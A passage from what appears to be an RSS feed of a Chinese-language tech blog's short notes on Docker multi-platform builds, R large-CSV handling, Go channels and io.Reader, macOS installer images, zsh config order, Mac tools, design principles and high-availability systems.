&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">COPY&lt;/span> . .&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">RUN&lt;/span> go build -o /out/myapp .&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">FROM&lt;/span>&lt;span style="color:#e6db74"> alpine&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">COPY&lt;/span> --from&lt;span style="color:#f92672">=&lt;/span>build /out/myapp /bin&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>after&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-dockerfile" data-lang="dockerfile">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">FROM&lt;/span>&lt;span style="color:#e6db74"> --platform=$BUILDPLATFORM golang:1.17-alpine AS build&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">WORKDIR&lt;/span>&lt;span style="color:#e6db74"> /src&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">ARG&lt;/span> TARGETOS TARGETARCH&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">RUN&lt;/span> --mount&lt;span style="color:#f92672">=&lt;/span>target&lt;span style="color:#f92672">=&lt;/span>. &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --mount&lt;span style="color:#f92672">=&lt;/span>type&lt;span style="color:#f92672">=&lt;/span>cache,target&lt;span style="color:#f92672">=&lt;/span>/root/.cache/go-build &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --mount&lt;span style="color:#f92672">=&lt;/span>type&lt;span style="color:#f92672">=&lt;/span>cache,target&lt;span style="color:#f92672">=&lt;/span>/go/pkg &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> GOOS&lt;span style="color:#f92672">=&lt;/span>$TARGETOS GOARCH&lt;span style="color:#f92672">=&lt;/span>$TARGETARCH go build -o /out/myapp .&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">FROM&lt;/span>&lt;span style="color:#e6db74"> alpine&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">COPY&lt;/span> --from&lt;span style="color:#f92672">=&lt;/span>build /out/myapp /bin&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>如何處理 50GB 的大型 CSV 檔案（R 語言）？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230720-how-to-deal-with-a-50gb-large-csv-file-in-r-language/</link><pubDate>Thu, 20 Jul 2023 15:44:11 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230720-how-to-deal-with-a-50gb-large-csv-file-in-r-language/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://stackoverflow.com/questions/39678940/how-to-deal-with-a-50gb-large-csv-file-in-r-language" target="_blank" rel="noopener">如何處理 50GB 的大型 CSV 檔案（R 語言）？&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="問題">問題&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-r" data-lang="r">&lt;span style="display:flex;">&lt;span>all &lt;span style="color:#f92672">&amp;lt;-&lt;/span> &lt;span style="color:#a6e22e">read.csv.ffdf&lt;/span>(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> file&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&amp;lt;path of large file&amp;gt;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sep &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;,&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> header&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">TRUE&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> VERBOSE&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">TRUE&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> first.rows&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">10000&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> next.rows&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">50000&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="回答">回答&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-r" data-lang="r">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">library&lt;/span>(sqldf)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iris2 &lt;span style="color:#f92672">&amp;lt;-&lt;/span> &lt;span style="color:#a6e22e">read.csv.sql&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;iris.csv&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sql &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;select * from file where Species = &amp;#39;setosa&amp;#39; &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>channel 的 15 条规则和底层实现</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230622-go-channel-rules/</link><pubDate>Thu, 22 Jun 2023 21:25:05 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230622-go-channel-rules/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/AsytcOBg0XpTnPzDq7iEhQ" target="_blank" rel="noopener">channel 的 15 条规则和底层实现&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="操作规则">操作规则&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">操作&lt;/th>
&lt;th style="text-align: center">nil&lt;/th>
&lt;th style="text-align: center">已关闭的 channel&lt;/th>
&lt;th style="text-align: center">未关闭有缓冲区的 channel&lt;/th>
&lt;th style="text-align: center">未关闭无缓冲区的 channel&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">关闭&lt;/td>
&lt;td style="text-align: center">panic&lt;/td>
&lt;td style="text-align: center">panic&lt;/td>
&lt;td style="text-align: center">成功关闭，然后可以读取缓冲区的值，读取完之后，继续读取到的是 channel 类型的默认值&lt;/td>
&lt;td style="text-align: center">成功关闭，之后读取到的是 channel 类型的默认值&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">接收&lt;/td>
&lt;td style="text-align: center">阻塞&lt;/td>
&lt;td style="text-align: center">不阻塞，读取到的是 channel 类型的默认值&lt;/td>
&lt;td style="text-align: center">不阻塞，正常读取值&lt;/td>
&lt;td style="text-align: center">阻塞&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">发送&lt;/td>
&lt;td style="text-align: center">阻塞&lt;/td>
&lt;td style="text-align: center">panic&lt;/td>
&lt;td style="text-align: center">不阻塞，正常写入值&lt;/td>
&lt;td style="text-align: center">阻塞&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="编译规则">编译规则&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">操作&lt;/th>
&lt;th style="text-align: center">channel 類型&lt;/th>
&lt;th style="text-align: center">結果&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">接收&lt;/td>
&lt;td style="text-align: center">只写 channel&lt;/td>
&lt;td style="text-align: center">编译错误&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">发送&lt;/td>
&lt;td style="text-align: center">只读 channel&lt;/td>
&lt;td style="text-align: center">编译错误&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">关闭&lt;/td>
&lt;td style="text-align: center">只读 channel&lt;/td>
&lt;td style="text-align: center">编译错误&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table></description></item><item><title>制作macOS系统dmg包及iso可引导镜像</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230612-macos-dmg-iso/</link><pubDate>Mon, 12 Jun 2023 10:04:20 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230612-macos-dmg-iso/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.newlearner.site/2019/03/07/macos-dmg-iso.html" target="_blank" rel="noopener">制作 macOS 系统 dmg 包及 iso 可引导镜像&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="dmg">dmg&lt;/h3>
&lt;ol>
&lt;li>AppStore ==&amp;gt; search &amp;lsquo;install macos&amp;rsquo; ==&amp;gt; get installer ==&amp;gt; &lt;code>du -sh /Applications/Install\ macOS\ Mojave.app/&lt;/code>&lt;/li>
&lt;li>磁碟工具程式 ==&amp;gt; 檔案 ==&amp;gt; 新增映像檔 ==&amp;gt; 空白映像檔
&lt;ol>
&lt;li>大小: installer size&lt;/li>
&lt;li>格式: Mac OS 擴充格式(日誌式)&lt;/li>
&lt;li>分割區: 單一分割區 - GUID 分割區配置表&lt;/li>
&lt;li>映像檔格式: 可讀寫的磁碟映像檔&lt;/li>
&lt;li>same as &lt;code>hdiutil create -o ~/Desktop/macOS\ Mojave -size 6500m -layout SPUD -fs HFS+J&lt;/code>&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>&lt;code>sudo /Applications/Install\ macOS\ Mojave.app/Contents/Resources/createinstallmedia --volume /Volumes/macOS\ Mojave&lt;/code>&lt;/li>
&lt;/ol>
&lt;h3 id="iso">iso&lt;/h3>
&lt;ol>
&lt;li>&lt;code>hdiutil convert ~/Desktop/macOS\ Mojave.dmg -format UDTO -o ~/Desktop/macOS\ Mojave.iso&lt;/code>&lt;/li>
&lt;li>&lt;code>mv ~/Desktop/macOS\ Mojave.iso.cdr ~/Desktop/macOS\ Mojave.iso&lt;/code>&lt;/li>
&lt;/ol></description></item><item><title>Synology：一眼查看 NAS RAM 細節</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230508-synology-your-nas-ram-details-at-a-glance/</link><pubDate>Mon, 08 May 2023 10:55:23 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230508-synology-your-nas-ram-details-at-a-glance/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mariushosting.com/synology-your-nas-ram-details-at-a-glance/" target="_blank" rel="noopener">Synology：一眼查看 NAS RAM 細節&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="step1">step1&lt;/h3>
&lt;p>Control Panel / Task Scheduler / Create / Scheduled Task / User-defined script&lt;/p>
&lt;h3 id="step2">step2&lt;/h3>
&lt;ol>
&lt;li>General：在 Task 欄位輸入 RAM Details，取消勾選 &amp;ldquo;Enabled&amp;rdquo;，選擇 root 使用者。&lt;/li>
&lt;li>Schedule：選擇 Run on the following date，並設定為 &amp;ldquo;Do not repeat&amp;rdquo;。&lt;/li>
&lt;li>Task Settings：勾選 &amp;ldquo;Send run details by email&amp;rdquo;，填入 email，將下方指令貼到 Run command 區域，然後按 OK。&lt;/li>
&lt;/ol></description></item><item><title>zsh 配置文件解析及优先级</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230508-zprofile-zshrc/</link><pubDate>Mon, 08 May 2023 10:43:10 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230508-zprofile-zshrc/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://einverne.github.io/post/2023/01/zprofile-zshrc.html" target="_blank" rel="noopener">zsh 配置文件解析及优先级&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="zsh-的环境变量配置文件有">zsh 的环境变量配置文件有：&lt;/h3>
&lt;ul>
&lt;li>.zprofile&lt;/li>
&lt;li>.zlogin&lt;/li>
&lt;li>.zshrc&lt;/li>
&lt;li>.zshenv&lt;/li>
&lt;li>.zlogout&lt;/li>
&lt;/ul>
&lt;p>.zshrc 就是用来对 Shell 整体做个性化配置的&lt;/p>
&lt;ul>
&lt;li>.zprofile 和 .zlogin 差不多是一样的，他们都会被 login shells 设置环境变量，只是加载时间可能有一些差别。.zprofile 是基于 Bash 的 .bash_profile ，而 .zlogin 则是仿照 CSH 的 .login 遗留下来的名字&lt;/li>
&lt;li>.zshrc 会设置 interactive shells 的环境变量。它会在 .zprofile 之后加载。通常可以设置 $PATH, $PROMPT, aliases, functions 等等。&lt;/li>
&lt;li>.zshenv 总是会被读取，所以也可以在这里设置环境变量，$PATH 或 $EDITOR 等，但一般不怎么使用&lt;/li>
&lt;li>zlogout 是在一个会话登出的时候被加载，非常适合用来清理临时的配置，比如重置终端窗口的标题&lt;/li>
&lt;/ul>
&lt;p>zsh 会在用户登录时(login shell)加载 ~/.zprofile&lt;/p>
&lt;p>zsh 会在开启新的终端会话时加载 ~/.zshrc&lt;/p>
&lt;h3 id="需要注意的是首先会加载-etczshenv-下的内容-然后再加载-home-目录下的配置文件">需要注意的是首先会加载 /etc/zshenv 下的内容， 然后再加载 HOME 目录下的配置文件：&lt;/h3>
&lt;p>&lt;code>.zshenv → [.zprofile if login] → [.zshrc if interactive] → [.zlogin if login] → [.zlogout].&lt;/code>&lt;/p></description></item><item><title>我的提升生產力 Mac 設定與軟體</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230420-my-mac-setting/</link><pubDate>Thu, 20 Apr 2023 14:52:08 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230420-my-mac-setting/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://jason-memo.dev/posts/my-mac-setting/" target="_blank" rel="noopener">我的提升生產力 Mac 設定與軟體&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="控制個別-app-是否進入-dark-mode">控制個別 App 是否進入 dark mode&lt;/h3>
&lt;blockquote>
&lt;p>&lt;a href="https://nightowlapp.co/" target="_blank" rel="noopener">https://nightowlapp.co/&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>&lt;code>brew install --cask nightowl&lt;/code>&lt;/p>
&lt;h3 id="用鍵盤控制外接螢幕亮度---monitorcontrol">用鍵盤控制外接螢幕亮度 - MonitorControl&lt;/h3>
&lt;blockquote>
&lt;p>&lt;a href="https://github.com/MonitorControl/MonitorControl" target="_blank" rel="noopener">https://github.com/MonitorControl/MonitorControl&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>&lt;code>brew install --cask monitorcontrol&lt;/code>&lt;/p>
&lt;h3 id="raycast">Raycast&lt;/h3>
&lt;p>Raycast 可以視為免費而且功能更強大的 Alfred，讓你不需要用滑鼠，靠鍵盤 Option + Space 快速啟用各種功能，內建許多付費 App 才有的功能&lt;/p>
&lt;ul>
&lt;li>快速啟動 App&lt;/li>
&lt;li>快速查字典跟使用計算機&lt;/li>
&lt;li>內建查找剪貼簿歷史紀錄&lt;/li>
&lt;li>自帶像是 Magnet 得 window managment 功能，利用快捷鍵迅速調整視窗大小置左置右&lt;/li>
&lt;li>與行事曆整合，會議時間快到可以用快捷鍵快速開啟 Google Meet 遠端會議，而且會帶入對的 email 帳戶&lt;/li>
&lt;li>可以自行寫 shell nodejs applescript 綁定快捷鍵快速啟用。&lt;/li>
&lt;li>豐富的 extenstion store 可以下載&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>&lt;a href="https://www.raycast.com/" target="_blank" rel="noopener">https://www.raycast.com/&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>&lt;code>brew install --cask raycast&lt;/code>&lt;/p>
&lt;h3 id="減少風扇起飛---讓-spotlight-排除你的專案資料夾">減少風扇起飛 - 讓 Spotlight 排除你的專案資料夾&lt;/h3>
&lt;p>系統設定 &amp;gt; Spotlight &amp;gt; 搜尋隱私權&lt;/p></description></item><item><title>一些软件设计的原则</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230418-software-design-principles/</link><pubDate>Tue, 18 Apr 2023 13:58:38 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230418-software-design-principles/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://coolshell.cn/articles/4535.html" target="_blank" rel="noopener">一些软件设计的原则&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="1-dont-repeat-yourself-dry">1. Don&amp;rsquo;t Repeat Yourself (DRY)&lt;/h3>
&lt;h3 id="2-keep-it-simple-stupid-kiss">2. Keep It Simple, Stupid (KISS)&lt;/h3>
&lt;p>把一个事情搞复杂是一件简单的事，但要把一个复杂的事变简单，这是一件复杂的事。&lt;/p>
&lt;h3 id="3-program-to-an-interface-not-an-implementation">3. Program to an interface, not an implementation&lt;/h3>
&lt;ol>
&lt;li>喜欢组合而不是继承&lt;/li>
&lt;li>依赖倒置原则&lt;/li>
&lt;/ol>
&lt;h3 id="4-command-query-separation-cqs---命令-查询分离原则">4. Command-Query Separation (CQS) - 命令-查询分离原则&lt;/h3>
&lt;ul>
&lt;li>查询：当一个方法返回一个值来回应一个问题的时候，它就具有查询的性质；&lt;/li>
&lt;li>命令：当一个方法要改变对象的状态的时候，它就具有命令的性质；&lt;/li>
&lt;/ul>
&lt;h3 id="5-you-aint-gonna-need-it-yagni">5. You Ain&amp;rsquo;t Gonna Need It (YAGNI)&lt;/h3>
&lt;p>只考虑和设计必须的功能，避免过度设计。只实现目前需要的功能，在以后您需要更多功能时，可以再进行添加。&lt;/p>
&lt;h3 id="6-law-of-demeter---迪米特法则">6. Law of Demeter - 迪米特法则&lt;/h3>
&lt;blockquote>
&lt;p>最少知识原则（Principle of Least Knowledge）
不要和陌生人说话&lt;/p>&lt;/blockquote>
&lt;blockquote>
&lt;p>如果你想让你的狗跑的话，你会对狗狗说还是对四条狗腿说？
如果你去店里买东西，你会把钱交给店员，还是会把钱包交给店员让他自己拿？&lt;/p>&lt;/blockquote>
&lt;p>对于对象 O 中一个方法 M ，M 应该只能够访问以下对象中的方法：&lt;/p>
&lt;ol>
&lt;li>对象 O；&lt;/li>
&lt;li>与 O 直接相关的 Component Object；&lt;/li>
&lt;li>由方法 M 创建或者实例化的对象；&lt;/li>
&lt;li>作为方法 M 的参数的对象。&lt;/li>
&lt;/ol>
&lt;h3 id="7-面向对象的-solid-原则">7. 面向对象的 S.O.L.I.D 原则&lt;/h3>
&lt;h4 id="single-responsibility-principle-srp---职责单一原则">Single Responsibility Principle (SRP) - 职责单一原则&lt;/h4>
&lt;p>一个类，只做一件事，并把这件事做好，其只有一个引起它变化的原因&lt;/p></description></item><item><title>关于高可用的系统</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230418-high-availability-system/</link><pubDate>Tue, 18 Apr 2023 10:24:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230418-high-availability-system/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://coolshell.cn/articles/17459.html" target="_blank" rel="noopener">关于高可用的系统&lt;/a>&lt;/li>
&lt;/ul>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>項目 / 機制&lt;/th>
&lt;th>Backups&lt;/th>
&lt;th>M/S&lt;/th>
&lt;th>MM&lt;/th>
&lt;th>2PC&lt;/th>
&lt;th>Paxos&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Consistency&lt;/td>
&lt;td>Weak&lt;/td>
&lt;td>Eventual&lt;/td>
&lt;td>Eventual&lt;/td>
&lt;td>Strong&lt;/td>
&lt;td>Strong&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Transactions&lt;/td>
&lt;td>No&lt;/td>
&lt;td>Full&lt;/td>
&lt;td>Local&lt;/td>
&lt;td>Full&lt;/td>
&lt;td>Full&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Latency&lt;/td>
&lt;td>Low&lt;/td>
&lt;td>Low&lt;/td>
&lt;td>Low&lt;/td>
&lt;td>High&lt;/td>
&lt;td>High&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Throughput&lt;/td>
&lt;td>High&lt;/td>
&lt;td>High&lt;/td>
&lt;td>High&lt;/td>
&lt;td>Low&lt;/td>
&lt;td>Medium&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Data loss&lt;/td>
&lt;td>Lots&lt;/td>
&lt;td>Some&lt;/td>
&lt;td>Some&lt;/td>
&lt;td>None&lt;/td>
&lt;td>None&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Failover&lt;/td>
&lt;td>Down&lt;/td>
&lt;td>Read only&lt;/td>
&lt;td>Read only&lt;/td>
&lt;td>Read/write&lt;/td>
&lt;td>Read/write&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>这个图基本上来说是目前高可用系统中能看得到的所有的解决方案的基础了。M/S、MM 实现起来不难，但是会有很多问题，2PC 的问题就是性能不行，而 Paxos 的问题就是太复杂，实现难度太大。&lt;/p>
&lt;p>总结一下各个高可用方案的的问题：&lt;/p>
&lt;ul>
&lt;li>对于最终一致性来说，在宕机的情况下，会出现数据没有完全同步完成，会出现数据差异性。&lt;/li>
&lt;li>对于强一致性来说，要么使用性能比较慢的 XA 系的两阶段提交的方案，要么使用性能比较好，但是实现比较复杂的 Paxos 协议。&lt;/li>
&lt;/ul></description></item><item><title>有关 MTU 和 MSS 的一切</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230412-all-about-mtu-and-mss/</link><pubDate>Wed, 12 Apr 2023 12:48:12 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230412-all-about-mtu-and-mss/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.kawabangga.com/posts/4983" target="_blank" rel="noopener">有关 MTU 和 MSS 的一切&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>使用Go语言解析二进制数据踩坑总结</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230120-parse-binary-data/</link><pubDate>Fri, 20 Jan 2023 13:48:27 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230120-parse-binary-data/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://tao.zz.ac/go/parse-binary-data.html" target="_blank" rel="noopener">使用 Go 语言解析二进制数据踩坑总结&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#a6e22e">bufSize&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">r&lt;/span>.&lt;span style="color:#a6e22e">Read&lt;/span>(&lt;span style="color:#a6e22e">buf&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">aerr&lt;/span>.&lt;span style="color:#a6e22e">Store&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ch&lt;/span> &lt;span style="color:#f92672">&amp;lt;-&lt;/span> &lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">n&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;blockquote>
&lt;p>当 err 的值为 io.EOF 时直接返回了。这是最可能出问题的地方。仔细阅读函数文档发现：&lt;/p>
&lt;blockquote>
&lt;p>Callers should always process the n &amp;gt; 0 bytes returned before considering the error err. Doing so correctly handles I/O errors that happen after reading some bytes and also both of the allowed EOF behaviors.&lt;/p>&lt;/blockquote>
&lt;p>所以程序必须先处理 n &amp;gt; 0 的情况，然后再处理 err != nil 的情况！这跟我之前的印象不相符。因为一般来说，当 err 非空时，前面的返回数据一般都是空值。但 io.Reader 并不是这样。&lt;/p></description></item><item><title>Rust 入門！強化終端的現代跨平台命令列工具</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230113-rust-terminal-tools-linux-mac-windows-fish-zsh/</link><pubDate>Fri, 13 Jan 2023 16:51:01 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230113-rust-terminal-tools-linux-mac-windows-fish-zsh/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://deepu.tech/rust-terminal-tools-linux-mac-windows-fish-zsh/" target="_blank" rel="noopener">Rust 入門！強化終端的現代跨平台命令列工具&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="alacritty">&lt;a href="https://github.com/alacritty/alacritty" target="_blank" rel="noopener">Alacritty&lt;/a>&lt;/h4>
&lt;p>Alacritty 是一款跨平台的現代終端機模擬器，具備合理的預設值。它有 GPU 加速、速度快，且高度可自訂，可在 Linux、macOS 與 Windows 上使用。&lt;/p>
&lt;h4 id="bat">&lt;a href="https://github.com/sharkdp/bat" target="_blank" rel="noopener">bat&lt;/a>&lt;/h4>
&lt;p>bat 是這份清單中我最喜歡的工具之一，用來取代 cat。&lt;/p>
&lt;h4 id="dust">&lt;a href="https://github.com/bootandy/dust" target="_blank" rel="noopener">dust&lt;/a>&lt;/h4>
&lt;p>dust 是 du 指令的替代品，速度快，並提供更好的磁碟使用量視覺化體驗。&lt;/p>
&lt;h4 id="ripgrep">&lt;a href="https://github.com/BurntSushi/ripgrep" target="_blank" rel="noopener">ripgrep&lt;/a>&lt;/h4>
